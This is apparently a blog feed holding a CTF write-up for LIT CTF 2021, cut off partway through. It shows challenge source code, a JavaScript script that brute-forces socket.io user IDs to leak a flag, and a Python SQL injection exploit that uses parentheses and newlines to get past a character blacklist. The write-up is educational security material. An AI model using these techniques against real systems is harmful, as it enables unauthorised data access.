<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.9.5">Jekyll</generator><link href="https://jokrsec.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://jokrsec.github.io/" rel="alternate" type="text/html" /><updated>2024-05-17T07:24:04+00:00</updated><id>https://jokrsec.github.io/feed.xml</id><title type="html">Jokr’s blog</title><subtitle>This is the place where I post interesting CTF write-ups and my learnings. 
</subtitle><author><name>Jokr</name><email>hemanthjavvaji007@gmail.com</email></author><entry><title type="html">LIT CTF 2021</title><link href="https://jokrsec.github.io/2021/06/19/LIT-CTF-2021.html" rel="alternate" type="text/html" title="LIT CTF 2021" /><published>2021-06-19T00:00:00+00:00</published><updated>2021-06-19T00:00:00+00:00</updated><id>https://jokrsec.github.io/2021/06/19/LIT-CTF-2021</id><content type="html" xml:base="https://jokrsec.github.io/2021/06/19/LIT-CTF-2021.html"><![CDATA[<p><img src="/images/lit/ctf.png" alt="" />
<br /></p>

<p>Here, you can find write-ups of few interesting challenges from my solves in LIT CTF 2021.
You can find and learn the below mentioned techniques:</p>
<ul>
  <li>SQL injection with WAF bypass</li>
  <li>RCE using python pickle desirialisation, bypassing the input(dictionary) validation</li>
  <li>Abusing the funtionality of a Web-Socket Server</li>
</ul>

<h2 id="lit-bugs">LIT BUGS</h2>
<p><img src="/images/lit/lit_bugs.png" alt="" /></p>

<h4 id="source-code">Source code</h4>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">express</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">express</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">app</span> <span class="o">=</span> <span class="nx">express</span><span class="p">();</span>
<span class="kd">var</span> <span class="nx">http</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">http</span><span class="dl">'</span><span class="p">).</span><span class="nx">createServer</span><span class="p">(</span><span class="nx">app</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">io</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">socket.io</span><span class="dl">'</span><span class="p">)(</span><span class="nx">http</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">md5</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">"</span><span class="s2">md5</span><span class="dl">"</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">fs</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">fs</span><span class="dl">'</span><span class="p">);</span>

<span class="kd">const</span> <span class="nx">flag</span> <span class="o">=</span> <span class="nx">fs</span><span class="p">.</span><span class="nx">readFileSync</span><span class="p">(</span><span class="dl">"</span><span class="s2">flag.txt</span><span class="dl">"</span><span class="p">,{</span><span class="na">encoding</span><span class="p">:</span><span class="dl">'</span><span class="s1">utf8</span><span class="dl">'</span><span class="p">,</span> <span class="na">flag</span><span class="p">:</span><span class="dl">'</span><span class="s1">r</span><span class="dl">'</span><span class="p">});</span>

<span class="kd">var</span> <span class="nx">accounts</span> <span class="o">=</span> <span class="p">{};</span>
<span class="c1">// Special account for LIT Organizers</span>
<span class="kd">var</span> <span class="nx">admin_id</span> <span class="o">=</span> <span class="nb">Math</span><span class="p">.</span><span class="nx">floor</span><span class="p">(</span><span class="nb">Math</span><span class="p">.</span><span class="nx">random</span><span class="p">()</span> <span class="o">*</span> <span class="mi">1000</span><span class="p">)</span>
<span class="nx">accounts</span><span class="p">[</span><span class="nx">flag</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span>
	<span class="dl">"</span><span class="s2">password</span><span class="dl">"</span><span class="p">:</span> <span class="nx">md5</span><span class="p">(</span><span class="nx">flag</span><span class="p">),</span>
	<span class="dl">"</span><span class="s2">rand_id</span><span class="dl">"</span><span class="p">:</span> <span class="nx">admin_id</span>
<span class="p">};</span>

<span class="nx">id2Name</span> <span class="o">=</span> <span class="p">{};</span>
<span class="k">for</span><span class="p">(</span><span class="kd">let</span> <span class="p">[</span><span class="nx">name</span><span class="p">,</span><span class="nx">account</span><span class="p">]</span> <span class="k">of</span> <span class="nb">Object</span><span class="p">.</span><span class="nx">entries</span><span class="p">(</span><span class="nx">accounts</span><span class="p">))</span> <span class="p">{</span>
	<span class="nx">id2Name</span><span class="p">[</span><span class="nx">account</span><span class="p">[</span><span class="dl">"</span><span class="s2">rand_id</span><span class="dl">"</span><span class="p">]]</span> <span class="o">=</span> <span class="nx">name</span><span class="p">;</span>
<span class="p">}</span>

<span class="nx">io</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="dl">'</span><span class="s1">connection</span><span class="dl">'</span><span class="p">,(</span><span class="nx">socket</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
	<span class="nx">socket</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="dl">'</span><span class="s1">login</span><span class="dl">'</span><span class="p">,(</span><span class="nx">tn</span><span class="p">,</span><span class="nx">pwd</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
		<span class="k">if</span><span class="p">(</span><span class="nx">accounts</span><span class="p">[</span><span class="nx">tn</span><span class="p">]</span> <span class="o">==</span> <span class="kc">undefined</span> <span class="o">||</span> <span class="nx">accounts</span><span class="p">[</span><span class="nx">tn</span><span class="p">][</span><span class="dl">"</span><span class="s2">password</span><span class="dl">"</span><span class="p">]</span> <span class="o">!=</span> <span class="nx">md5</span><span class="p">(</span><span class="nx">pwd</span><span class="p">))</span> <span class="p">{</span>
			<span class="nx">socket</span><span class="p">.</span><span class="nx">emit</span><span class="p">(</span><span class="dl">"</span><span class="s2">loginRes</span><span class="dl">"</span><span class="p">,</span><span class="kc">false</span><span class="p">,</span><span class="o">-</span><span class="mi">3</span><span class="p">);</span>
			<span class="k">return</span><span class="p">;</span>
		<span class="p">}</span>
		<span class="nx">socket</span><span class="p">.</span><span class="nx">emit</span><span class="p">(</span><span class="dl">"</span><span class="s2">loginRes</span><span class="dl">"</span><span class="p">,</span><span class="kc">true</span><span class="p">,</span><span class="nx">accounts</span><span class="p">[</span><span class="nx">tn</span><span class="p">][</span><span class="dl">"</span><span class="s2">rand_id</span><span class="dl">"</span><span class="p">]);</span>
		<span class="k">return</span><span class="p">;</span>
	<span class="p">});</span>

	<span class="nx">socket</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="dl">'</span><span class="s1">reqName</span><span class="dl">'</span><span class="p">,(</span><span class="nx">rand_id</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
		<span class="nx">name</span> <span class="o">=</span> <span class="nx">id2Name</span><span class="p">[</span><span class="nb">parseInt</span><span class="p">(</span><span class="nx">rand_id</span><span class="p">)];</span>
		<span class="nx">socket</span><span class="p">.</span><span class="nx">emit</span><span class="p">(</span><span class="dl">"</span><span class="s2">reqNameRes</span><span class="dl">"</span><span class="p">,</span><span class="nx">name</span><span class="p">);</span>
	<span class="p">});</span>

	<span class="nx">socket</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="dl">'</span><span class="s1">register</span><span class="dl">'</span><span class="p">,(</span><span class="nx">tn</span><span class="p">,</span><span class="nx">pwd</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
		<span class="k">if</span><span class="p">(</span><span class="nx">accounts</span><span class="p">[</span><span class="nx">tn</span><span class="p">]</span> <span class="o">!=</span> <span class="kc">undefined</span><span class="p">)</span> <span class="p">{</span>
			<span class="nx">socket</span><span class="p">.</span><span class="nx">emit</span><span class="p">(</span><span class="dl">"</span><span class="s2">regRes</span><span class="dl">"</span><span class="p">,</span><span class="kc">false</span><span class="p">,</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
			<span class="k">return</span><span class="p">;</span>
		<span class="p">}</span>
		<span class="k">if</span><span class="p">(</span><span class="nb">Object</span><span class="p">.</span><span class="nx">keys</span><span class="p">(</span><span class="nx">accounts</span><span class="p">).</span><span class="nx">length</span> <span class="o">&gt;=</span> <span class="mi">500</span><span class="p">)</span> <span class="p">{</span>
			<span class="nx">socket</span><span class="p">.</span><span class="nx">emit</span><span class="p">(</span><span class="dl">"</span><span class="s2">regRes</span><span class="dl">"</span><span class="p">,</span><span class="kc">false</span><span class="p">,</span><span class="o">-</span><span class="mi">2</span><span class="p">);</span>
			<span class="k">return</span><span class="p">;</span>
		<span class="p">}</span>
		<span class="kd">var</span> <span class="nx">rand_id</span> <span class="o">=</span> <span class="nb">Math</span><span class="p">.</span><span class="nx">floor</span><span class="p">(</span><span class="nb">Math</span><span class="p">.</span><span class="nx">random</span><span class="p">()</span> <span class="o">*</span> <span class="mi">1000</span><span class="p">);</span>
		<span class="k">while</span><span class="p">(</span><span class="nx">id2Name</span><span class="p">[</span><span class="nx">rand_id</span><span class="p">]</span> <span class="o">!=</span> <span class="kc">undefined</span><span class="p">)</span> <span class="p">{</span>
			<span class="nx">rand_id</span> <span class="o">=</span> <span class="nb">Math</span><span class="p">.</span><span class="nx">floor</span><span class="p">(</span><span class="nb">Math</span><span class="p">.</span><span class="nx">random</span><span class="p">()</span> <span class="o">*</span> <span class="mi">1000</span><span class="p">);</span>
		<span class="p">}</span>
		<span class="nx">accounts</span><span class="p">[</span><span class="nx">tn</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span>
			<span class="dl">"</span><span class="s2">password</span><span class="dl">"</span><span class="p">:</span> <span class="nx">md5</span><span class="p">(</span><span class="nx">pwd</span><span class="p">),</span>
			<span class="dl">"</span><span class="s2">rand_id</span><span class="dl">"</span><span class="p">:</span> <span class="nx">rand_id</span>
		<span class="p">};</span>
		<span class="nx">id2Name</span><span class="p">[</span><span class="nx">rand_id</span><span class="p">]</span> <span class="o">=</span> <span class="nx">tn</span><span class="p">;</span>
		<span class="nx">socket</span><span class="p">.</span><span class="nx">emit</span><span class="p">(</span><span class="dl">"</span><span class="s2">regRes</span><span class="dl">"</span><span class="p">,</span><span class="kc">true</span><span class="p">,</span><span class="nx">rand_id</span><span class="p">);</span>
	<span class="p">});</span>
<span class="p">});</span>


<span class="nx">app</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="dl">'</span><span class="s1">/</span><span class="dl">'</span><span class="p">,(</span><span class="nx">req</span><span class="p">,</span><span class="nx">res</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
	<span class="nx">res</span><span class="p">.</span><span class="nx">sendFile</span><span class="p">(</span><span class="nx">__dirname</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">/html/index.html</span><span class="dl">'</span><span class="p">);</span>
<span class="p">});</span>

<span class="nx">app</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="dl">'</span><span class="s1">/login</span><span class="dl">'</span><span class="p">,(</span><span class="nx">req</span><span class="p">,</span><span class="nx">res</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
	<span class="nx">res</span><span class="p">.</span><span class="nx">sendFile</span><span class="p">(</span><span class="nx">__dirname</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">/html/login.html</span><span class="dl">'</span><span class="p">);</span>
<span class="p">});</span>

<span class="nx">app</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="dl">'</span><span class="s1">/register</span><span class="dl">'</span><span class="p">,(</span><span class="nx">req</span><span class="p">,</span><span class="nx">res</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
	<span class="nx">res</span><span class="p">.</span><span class="nx">sendFile</span><span class="p">(</span><span class="nx">__dirname</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">/html/register.html</span><span class="dl">'</span><span class="p">);</span>
<span class="p">});</span>

<span class="nx">app</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="dl">'</span><span class="s1">/contest</span><span class="dl">'</span><span class="p">,(</span><span class="nx">req</span><span class="p">,</span><span class="nx">res</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
	<span class="nx">res</span><span class="p">.</span><span class="nx">sendFile</span><span class="p">(</span><span class="nx">__dirname</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">/html/contest.html</span><span class="dl">'</span><span class="p">);</span>
<span class="p">});</span>

<span class="nx">http</span><span class="p">.</span><span class="nx">listen</span><span class="p">(</span><span class="mi">8081</span><span class="p">,()</span> <span class="o">=&gt;</span> <span class="p">{</span>
	<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">listening on *:8081</span><span class="dl">'</span><span class="p">);</span>
<span class="p">});</span>
</code></pre></div></div>

<h4 id="vulnerablity">Vulnerablity</h4>
<p>The application runs uses Web-Sockets which has a funtionality of registering users. Each user has a random 3 digit ID asscociated with his name and password The flag was stored as name of the admin.
So, the Goal was to get the admin’s name.</p>

<p>Also the application has other funtionality which takes the ID and returns the name.</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">socket</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="dl">'</span><span class="s1">reqName</span><span class="dl">'</span><span class="p">,(</span><span class="nx">rand_id</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
		<span class="nx">name</span> <span class="o">=</span> <span class="nx">id2Name</span><span class="p">[</span><span class="nb">parseInt</span><span class="p">(</span><span class="nx">rand_id</span><span class="p">)];</span>
		<span class="nx">socket</span><span class="p">.</span><span class="nx">emit</span><span class="p">(</span><span class="dl">"</span><span class="s2">reqNameRes</span><span class="dl">"</span><span class="p">,</span><span class="nx">name</span><span class="p">);</span>
	<span class="p">});</span>
</code></pre></div></div>
<p>So bruteforcing all the ID’s from 100 to 999 could give us the flag (easy-peasy!)</p>

<h4 id="exploit-script">Exploit script</h4>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">io</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">socket.io-client</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">socket</span> <span class="o">=</span> <span class="nx">io</span><span class="p">.</span><span class="nx">connect</span><span class="p">(</span><span class="dl">'</span><span class="s1">http://websites.litctf.live:8000</span><span class="dl">'</span><span class="p">,</span> <span class="p">{</span><span class="na">reconnect</span><span class="p">:</span> <span class="kc">true</span><span class="p">});</span>

<span class="c1">// Add a connect listener</span>
<span class="nx">socket</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="dl">'</span><span class="s1">connect</span><span class="dl">'</span><span class="p">,</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">socket</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">Connected!</span><span class="dl">'</span><span class="p">);</span>
<span class="p">});</span>

<span class="nx">socket</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="dl">"</span><span class="s2">reqNameRes</span><span class="dl">"</span><span class="p">,</span> <span class="p">(</span><span class="nx">name</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
    <span class="k">if</span><span class="p">(</span><span class="nx">name</span> <span class="o">!=</span> <span class="kc">null</span> <span class="o">&amp;&amp;</span> <span class="nx">name</span><span class="p">.</span><span class="nx">startsWith</span><span class="p">(</span><span class="dl">"</span><span class="s2">flag{</span><span class="dl">"</span><span class="p">)){</span>
        <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">Name: </span><span class="dl">"</span><span class="o">+</span><span class="nx">name</span><span class="p">);</span>
        <span class="nx">socket</span><span class="p">.</span><span class="nx">close</span><span class="p">();</span>
    <span class="p">}</span>
<span class="p">})</span>

<span class="k">for</span><span class="p">(</span><span class="kd">var</span> <span class="nx">i</span><span class="o">=</span><span class="mi">1</span><span class="p">;</span> <span class="nx">i</span><span class="o">&lt;</span><span class="mi">1000</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">){</span>
    <span class="nx">socket</span><span class="p">.</span><span class="nx">emit</span><span class="p">(</span><span class="dl">"</span><span class="s2">reqName</span><span class="dl">"</span><span class="p">,</span> <span class="nx">i</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<h4 id="flag">Flag</h4>
<blockquote>
  <p>flag{if_y0u_d1d_not_brut3force_ids_plea5e_c0ntact_codetiger}</p>
</blockquote>

<p><br /></p>

<h2 id="alex-fan-club">Alex Fan Club</h2>
<p><img src="/images/lit/club.png" alt="" /></p>

<h4 id="source-code-1">Source code</h4>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">sqlite3</span>
<span class="kn">from</span> <span class="nn">flask</span> <span class="kn">import</span> <span class="n">Flask</span><span class="p">,</span> <span class="n">render_template</span><span class="p">,</span> <span class="n">g</span><span class="p">,</span> <span class="n">request</span>

<span class="n">app</span> <span class="o">=</span> <span class="n">Flask</span><span class="p">(</span><span class="n">__name__</span><span class="p">)</span>

<span class="n">DATABASE</span> <span class="o">=</span> <span class="s">"db"</span>

<span class="k">def</span> <span class="nf">get_db</span><span class="p">():</span>
    <span class="n">db</span> <span class="o">=</span> <span class="nb">getattr</span><span class="p">(</span><span class="n">g</span><span class="p">,</span> <span class="s">"_database"</span><span class="p">,</span> <span class="bp">None</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">db</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span>
        <span class="n">db</span> <span class="o">=</span> <span class="n">g</span><span class="p">.</span><span class="n">_database</span> <span class="o">=</span> <span class="n">sqlite3</span><span class="p">.</span><span class="n">connect</span><span class="p">(</span><span class="n">DATABASE</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">db</span>

<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">teardown_appcontext</span>
<span class="k">def</span> <span class="nf">close_connection</span><span class="p">(</span><span class="n">exception</span><span class="p">):</span>
    <span class="n">db</span> <span class="o">=</span> <span class="nb">getattr</span><span class="p">(</span><span class="n">g</span><span class="p">,</span> <span class="s">"_database"</span><span class="p">,</span> <span class="bp">None</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">db</span> <span class="ow">is</span> <span class="ow">not</span> <span class="bp">None</span><span class="p">:</span>
        <span class="n">db</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>

<span class="k">def</span> <span class="nf">query_db</span><span class="p">(</span><span class="n">query</span><span class="p">,</span> <span class="n">args</span><span class="o">=</span><span class="p">(),</span> <span class="n">one</span><span class="o">=</span><span class="bp">False</span><span class="p">):</span>
    <span class="n">cur</span> <span class="o">=</span> <span class="n">get_db</span><span class="p">().</span><span class="n">execute</span><span class="p">(</span><span class="n">query</span><span class="p">,</span> <span class="n">args</span><span class="p">)</span>
    <span class="n">rv</span> <span class="o">=</span> <span class="n">cur</span><span class="p">.</span><span class="n">fetchall</span><span class="p">()</span>
    <span class="n">cur</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
    <span class="k">return</span> <span class="p">(</span><span class="n">rv</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="k">if</span> <span class="n">rv</span> <span class="k">else</span> <span class="bp">None</span><span class="p">)</span> <span class="k">if</span> <span class="n">one</span> <span class="k">else</span> <span class="n">rv</span>

<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">"/"</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s">"GET"</span><span class="p">])</span>
<span class="k">def</span> <span class="nf">index</span><span class="p">():</span>
    <span class="n">param</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">args</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"param"</span><span class="p">)</span>
    <span class="n">achievements</span> <span class="o">=</span> <span class="n">query_db</span><span class="p">(</span><span class="s">"select * from achievements"</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">param</span> <span class="o">!=</span> <span class="bp">None</span><span class="p">:</span>
        <span class="n">sqli</span> <span class="o">=</span> <span class="mi">1</span> <span class="ow">in</span> <span class="p">[</span><span class="n">c</span> <span class="ow">in</span> <span class="n">param</span> <span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="s">"*-/ |%"</span><span class="p">]</span>
        <span class="k">if</span> <span class="n">sqli</span><span class="p">:</span>
            <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">"sqli.html"</span><span class="p">)</span>
        <span class="n">achievements</span> <span class="o">=</span> <span class="n">query_db</span><span class="p">(</span><span class="s">"select * from achievements where achievement like '%"</span> <span class="o">+</span> <span class="n">param</span> <span class="o">+</span> <span class="s">"%'"</span><span class="p">)</span>
    <span class="n">achievements</span> <span class="o">=</span> <span class="p">[</span><span class="n">achievement</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="k">for</span> <span class="n">achievement</span> <span class="ow">in</span> <span class="n">achievements</span><span class="p">]</span>
    <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">"index.html"</span><span class="p">,</span> <span class="n">achievements</span><span class="o">=</span><span class="n">achievements</span><span class="p">)</span>

</code></pre></div></div>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">PRAGMA</span> <span class="n">foreign_keys</span><span class="o">=</span><span class="k">OFF</span><span class="p">;</span>
<span class="k">BEGIN</span> <span class="n">TRANSACTION</span><span class="p">;</span>
<span class="k">CREATE</span> <span class="k">TABLE</span> <span class="n">achievements</span><span class="p">(</span>
<span class="n">achievement</span> <span class="nb">TEXT</span> <span class="k">PRIMARY</span> <span class="k">KEY</span> <span class="k">NOT</span> <span class="k">NULL</span>
<span class="p">);</span>
<span class="k">INSERT</span> <span class="k">INTO</span> <span class="n">achievements</span> <span class="k">VALUES</span><span class="p">(</span><span class="s1">'CF Master'</span><span class="p">);</span>
<span class="k">INSERT</span> <span class="k">INTO</span> <span class="n">achievements</span> <span class="k">VALUES</span><span class="p">(</span><span class="s1">'USACO camper'</span><span class="p">);</span>
<span class="k">INSERT</span> <span class="k">INTO</span> <span class="n">achievements</span> <span class="k">VALUES</span><span class="p">(</span><span class="s1">'pro skillz piano player'</span><span class="p">);</span>
<span class="k">INSERT</span> <span class="k">INTO</span> <span class="n">achievements</span> <span class="k">VALUES</span><span class="p">(</span><span class="s1">'Actually bought sublime text :o'</span><span class="p">);</span>
<span class="k">INSERT</span> <span class="k">INTO</span> <span class="n">achievements</span> <span class="k">VALUES</span><span class="p">(</span><span class="s1">'Knows more chinese than you'</span><span class="p">);</span>
<span class="k">INSERT</span> <span class="k">INTO</span> <span class="n">achievements</span> <span class="k">VALUES</span><span class="p">(</span><span class="s1">'Supreme Leader/Cult Leader of LexMACS'</span><span class="p">);</span>
<span class="k">INSERT</span> <span class="k">INTO</span> <span class="n">achievements</span> <span class="k">VALUES</span><span class="p">(</span><span class="s1">'Organized LIT'</span><span class="p">);</span>
<span class="k">INSERT</span> <span class="k">INTO</span> <span class="n">achievements</span> <span class="k">VALUES</span><span class="p">(</span><span class="s1">'OP at web development'</span><span class="p">);</span>
<span class="k">INSERT</span> <span class="k">INTO</span> <span class="n">achievements</span> <span class="k">VALUES</span><span class="p">(</span><span class="s1">'Puts using namespace std; as the FIRST LINE in his code :O'</span><span class="p">);</span>
<span class="k">INSERT</span> <span class="k">INTO</span> <span class="n">achievements</span> <span class="k">VALUES</span><span class="p">(</span><span class="s1">'Too cool for #include &lt;bits/stdc++.h&gt;'</span><span class="p">);</span>
<span class="k">INSERT</span> <span class="k">INTO</span> <span class="n">achievements</span> <span class="k">VALUES</span><span class="p">(</span><span class="s1">'Top tier MS Paint skills'</span><span class="p">);</span>
<span class="k">INSERT</span> <span class="k">INTO</span> <span class="n">achievements</span> <span class="k">VALUES</span><span class="p">(</span><span class="s1">'Has an informative Youtube channel'</span><span class="p">);</span>
<span class="k">INSERT</span> <span class="k">INTO</span> <span class="n">achievements</span> <span class="k">VALUES</span><span class="p">(</span><span class="s1">'Carried OlyFans during mBIT'</span><span class="p">);</span>
<span class="k">INSERT</span> <span class="k">INTO</span> <span class="n">achievements</span> <span class="k">VALUES</span><span class="p">(</span><span class="s1">'Got top 10 for HSCTF 8'</span><span class="p">);</span>
<span class="k">INSERT</span> <span class="k">INTO</span> <span class="n">achievements</span> <span class="k">VALUES</span><span class="p">(</span><span class="s1">'Is super cool'</span><span class="p">);</span>
<span class="k">INSERT</span> <span class="k">INTO</span> <span class="n">achievements</span> <span class="k">VALUES</span><span class="p">(</span><span class="s1">'Knows fishy15 :yum:'</span><span class="p">);</span>
<span class="k">INSERT</span> <span class="k">INTO</span> <span class="n">achievements</span> <span class="k">VALUES</span><span class="p">(</span><span class="s1">'Has discord nitro'</span><span class="p">);</span>
<span class="k">INSERT</span> <span class="k">INTO</span> <span class="n">achievements</span> <span class="k">VALUES</span><span class="p">(</span><span class="s1">'Beat lots of IGMs in CF Round 728'</span><span class="p">);</span>
<span class="k">INSERT</span> <span class="k">INTO</span> <span class="n">achievements</span> <span class="k">VALUES</span><span class="p">(</span><span class="s1">'Went from pupil to master in ONE year'</span><span class="p">);</span>
<span class="k">INSERT</span> <span class="k">INTO</span> <span class="n">achievements</span> <span class="k">VALUES</span><span class="p">(</span><span class="s1">'Practices consistently orz'</span><span class="p">);</span>
<span class="k">INSERT</span> <span class="k">INTO</span> <span class="n">achievements</span> <span class="k">VALUES</span><span class="p">(</span><span class="s1">'Created USACO Rating'</span><span class="p">);</span>
<span class="k">INSERT</span> <span class="k">INTO</span> <span class="n">achievements</span> <span class="k">VALUES</span><span class="p">(</span><span class="s1">'Able to make better website designs than this'</span><span class="p">);</span>
<span class="k">INSERT</span> <span class="k">INTO</span> <span class="n">achievements</span> <span class="k">VALUES</span><span class="p">(</span><span class="s1">'Able to get AC while using Scanner instead of BufferedReader in Java/Kotlin'</span><span class="p">);</span>
<span class="k">INSERT</span> <span class="k">INTO</span> <span class="n">achievements</span> <span class="k">VALUES</span><span class="p">(</span><span class="s1">'Has a cool profile picture'</span><span class="p">);</span>
<span class="k">CREATE</span> <span class="k">TABLE</span> <span class="n">redacted</span><span class="p">(</span>
<span class="n">redacted</span> <span class="nb">TEXT</span> <span class="k">PRIMARY</span> <span class="k">KEY</span> <span class="k">NOT</span> <span class="k">NULL</span>
<span class="p">);</span>
<span class="k">INSERT</span> <span class="k">INTO</span> <span class="n">redacted</span> <span class="k">VALUES</span><span class="p">(</span><span class="s1">'flag{redacted}'</span><span class="p">);</span>
<span class="k">COMMIT</span><span class="p">;</span>
</code></pre></div></div>

<h4 id="vulnerablity-1">Vulnerablity</h4>
<p>The Website has a search functionality to search among achivements. The search parameter is vulnerable to SQL injection.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">achievements</span> <span class="o">=</span> <span class="n">query_db</span><span class="p">(</span><span class="s">"select * from achievements where achievement like '%"</span> <span class="o">+</span> <span class="n">param</span> <span class="o">+</span> <span class="s">"%'"</span><span class="p">)</span>
</code></pre></div></div>
<p>But the search parameter is validated using a blacklist to avoid SQLi. If any character in the blacklist is inside the param
then param would get rejected. But there are interesting ways to bypass blacklist filters</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">sqli</span> <span class="o">=</span> <span class="mi">1</span> <span class="ow">in</span> <span class="p">[</span><span class="n">c</span> <span class="ow">in</span> <span class="n">param</span> <span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="s">"*-/ |%"</span><span class="p">]</span>
	<span class="k">if</span> <span class="n">sqli</span><span class="p">:</span>
	    <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">"sqli.html"</span><span class="p">)</span>
</code></pre></div></div>
<p>The db used is sqlite3. In our case the we need to bypass the space character and comments to get a valid injection.
So let me mention few bypasses -</p>
<ul>
  <li>Space characters can be avoided using paranthesis.</li>
</ul>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">SELECT</span> <span class="nx">name</span> <span class="k">from</span> <span class="nx">users</span><span class="p">;</span> <span class="o">--&gt;</span> <span class="nx">SELECT</span><span class="p">(</span><span class="nx">name</span><span class="p">)</span><span class="nx">FROM</span><span class="p">(</span><span class="nx">users</span><span class="p">);</span>
</code></pre></div></div>
<ul>
  <li>Space characters can also be bypassed using <code class="language-plaintext highlighter-rouge">\n</code> (new line characters).</li>
</ul>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">SELECT</span> <span class="nx">name</span> <span class="k">from</span> <span class="nx">users</span><span class="p">;</span>  

<span class="o">--&gt;</span>

<span class="nx">SELECT</span>
<span class="nx">name</span>
<span class="nx">FROM</span>
<span class="nx">users</span><span class="p">;</span>
</code></pre></div></div>
<ul>
  <li>Comments <code class="language-plaintext highlighter-rouge">(/* */)</code> can be avoided by making the trailing statement after injection, valid</li>
</ul>

<h4 id="exploit-script-1">Exploit script</h4>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">requests</span>
<span class="n">url</span> <span class="o">=</span> <span class="s">"http://alex-fan-club.litctf.live"</span>

<span class="c1"># Use the payload to get the table and column names
</span><span class="n">payload</span> <span class="o">=</span> <span class="s">'''Has'
union
SELECT
sql
FROM
sqlite_master
WHERE
type!='meta'
AND
sql
NOT
NULL
AND
name='redacted'
or
'has'like</span><span class="se">\'</span><span class="s">'''</span>

<span class="c1"># After you get the table and column names, 
